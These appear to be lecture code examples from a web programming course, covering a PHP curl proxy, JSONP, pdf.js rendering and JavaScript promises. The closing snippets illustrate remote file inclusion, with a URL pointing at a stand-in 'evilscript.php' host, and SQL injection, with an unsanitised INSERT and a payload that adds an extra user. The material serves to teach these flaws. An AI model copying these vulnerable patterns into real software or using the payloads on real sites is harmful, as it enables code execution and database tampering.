CS174
Chris Pollett
Nov 16, 2022
<?php define ('YIOOP_NEWS_URL', 'https://www.yioop.com/s/news/'); // look at incoming request fields $query = (!empty($_REQUEST['f']) && in_array($_REQUEST['f'], ["rss", "json"])) ? "?f=" . $_REQUEST['f'] : ""; $url = YIOOP_NEWS_URL . $query; // Open the Curl session $request_handle = curl_init($url); // If we wanted to use post we could uncomment the lines below //curl_setopt ($request_handle, CURLOPT_POST, true); //curl_setopt ($request_handle, CURLOPT_POSTFIELDS, $postvars); // Don't bother with the HTTP headers. Do bother with the content back curl_setopt($request_handle, CURLOPT_HEADER, false); curl_setopt($request_handle, CURLOPT_RETURNTRANSFER, true); // Make proxy request $response_content = curl_exec($request_handle); //determine the content-type of the respeonse $pre_content_type = curl_getinfo($request_handle, CURLINFO_CONTENT_TYPE); $content_type = (empty($pre_content_type)) ? "text/html" : $pre_content_type; // Set the outgoing proxy content type header("Content-Type: $content_type"); echo $response_content; curl_close($request_handle);
// API callback myHandleDataCode({"language":"en-US","link":"http...etc...etc ...});
<script> function myHandleDataCode(obj) { // do something pretty with json data } </script> <script src="https://www.yioop.com/s/news?f=json&callback=myHandleDataCode" />
<script src="http://url_for_pdf.js/pdf.js" ></script> <script> function renderPdfPage(media_obj, num) { if (media_obj.reflect_rendering) { return; } var media_name = media_obj.reflect_name; media_obj.reflect_page_num = num; media_obj.reflect_rendering = true; media_obj.getPage(num).then(function(page) { var viewport = page.getViewport(1.5, parseInt(media_obj.reflect_orientation)); var canvas = document.getElementById('area-' + media_name); var context = canvas.getContext('2d'); canvas.height = viewport.height; canvas.width = viewport.width; var renderContext = { canvasContext: context, viewport: viewport }; var renderTask = page.render(renderContext); renderTask.promise.then(function () { media_obj.reflect_rendering = false; }); }); } PDFJS.getDocument(url_of_document_viewing).then( /* Here getDocument returns a promise of a pdf object when ready. The function in the then clause use the pdf object to do something */ function (pdf) { if (localStorage) { old_page = localStorage.getItem(url_of_document_viewing_old_page); renderPdfPage(pdf, old_page); } else { renderPdfPage(pdf, 1); } } ); </script>
my_promise = new Promise( function (resolve, reject) { /* this is the main code that your promise executes. resolve and reject are two callbacks your promise calls on success or failure. */ } ); /* the function you supplied to the promise doesn't run until you call the promise's then method. So to use the promise we have code like: */ my_promise.then(function(arg_list) { // when anonymous function above calls resolve this code runs. }).catch(function(arg_list) { // when anonymous function above calls reject this code runs. } )
<!DOCTYPE html> <html> <body> <script> function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } async function drawWithDelays() { document.write( 'Once upon a time...'); await sleep(2000); document.write( 'In a land far, far away...'); await sleep(2000); document.write( 'there was a language that knew how to handle Promises...'); } drawWithDelays() </script> </body> </html>
<html><head>...</head> <body> <div id="leftcolumn"> <ul><li><a href="?c=n.html">News</a></li> <li><a href="?c=d.html">Discussions</a></li></ul> </div> <div id="content"> <?php if(isset($_GET['c'])){include($_GET['c']);} else {include("default.php");} ?> </div></body></html>
http://somewhere.com/?c=http://www.mymalicioussite.com/evilscript.php
$sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('{$_POST['reg_username']}', $_POST[ '$reg_password'], '{$_POST['reg_email']}')";
bad_guy', 'mypass', ''), ('good_guy?